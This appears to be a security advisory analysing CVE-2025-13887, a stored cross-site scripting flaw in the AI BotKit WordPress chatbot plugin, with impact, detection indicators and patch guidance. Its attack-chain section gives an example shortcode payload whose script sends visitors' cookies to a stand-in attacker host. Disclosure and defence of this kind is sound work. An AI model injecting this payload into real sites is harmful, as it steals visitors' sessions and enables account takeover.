CVE-2025-13887: 
WordPress vulnerability analysis and mitigation

CVE-2025-13887 is a Stored Cross-Site Scripting (XSS) vulnerability in the AI BotKit – AI Chatbot & Live Support for WordPress plugin developed by WisdmLabs. It affects all versions up to and including 1.1.7, allowing authenticated attackers with Contributor-level access or above to inject arbitrary web scripts via the unsanitized id parameter in the ai_botkit_widget shortcode. The vulnerability was disclosed on January 7, 2026, and assigned by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-site Scripting), stemming from insufficient input sanitization and output escaping in the plugin's shortcode handler. Specifically, the vulnerable code resides in includes/public/class-shortcode-handler.php at line 42, where the id parameter passed to the ai_botkit_widget shortcode is rendered without proper sanitization (WordPress Trac). An authenticated attacker with at minimum Contributor-level access can embed a malicious shortcode containing a crafted id value into a post or page; the injected script then executes in the browser of any user who visits that page. The attack vector is network-based, requires low privileges, and no user interaction beyond page visitation is needed for the payload to trigger (Wordfence).

Successful exploitation allows persistent malicious JavaScript to execute in the context of any site visitor's browser session, impacting confidentiality (e.g., session cookie theft, credential harvesting) and integrity (e.g., page content manipulation, phishing redirects). Because the injected script persists on the page and executes for all visitors, the blast radius extends beyond the attacker's own session to all users of the affected WordPress site. Availability is not directly impacted, but the attack can be leveraged to degrade user trust or facilitate further compromise such as account takeover (Wordfence).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-13887. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a Contributor-level WordPress account, which limits opportunistic mass exploitation but remains a realistic threat on sites with open contributor registration (Wordfence).

1. Reconnaissance: Identify WordPress sites running the AI BotKit plugin (version ≤ 1.1.7) by inspecting page source for plugin-specific assets or using tools like WPScan.
2. Obtain Contributor Access: Register or compromise a Contributor-level (or higher) account on the target WordPress site.
3. Craft Malicious Shortcode: Create or edit a post/page and insert a shortcode with a malicious id parameter, e.g., [ai_botkit_widget id="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the Page: Submit or publish the post/page containing the injected shortcode.
5. Payload Execution: When any authenticated or unauthenticated user visits the page, the injected script executes in their browser, enabling session cookie theft, credential harvesting, or further malicious actions (Wordfence, WordPress Trac).

• Logs: WordPress audit logs or server access logs showing Contributor-level users creating or editing posts/pages containing ai_botkit_widget shortcodes with unusual or encoded id parameter values.
• File System: Unexpected modifications to posts in the WordPress database (wp_posts table) containing <script> tags or encoded JavaScript within ai_botkit_widget shortcode attributes.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after visiting pages containing the ai_botkit_widget shortcode, potentially indicating cookie exfiltration or redirect activity.
• Application: Presence of [ai_botkit_widget id="..."] shortcodes in published content where the id value contains HTML tags, JavaScript, or URL-encoded equivalents rather than a legitimate bot identifier.

Site administrators should update the AI BotKit – AI Chatbot & Live Support for WordPress plugin to version 1.1.8 or later, which addresses the insufficient sanitization and output escaping in the shortcode handler (WordPress Trac Changeset). As an interim workaround, restrict Contributor-level user registration or disable the ability for Contributors to publish content without editorial review. Additionally, consider using a Web Application Firewall (WAF) with XSS filtering rules to detect and block malicious shortcode injection attempts (Wordfence).

Wordfence, the CNA that assigned and disclosed this CVE, included it in their weekly WordPress vulnerability report for January 5–11, 2026, as part of routine plugin security monitoring (Wordfence Blog). No significant independent researcher commentary or broader media coverage has been identified for this vulnerability, consistent with its medium severity and limited exploitation prerequisites.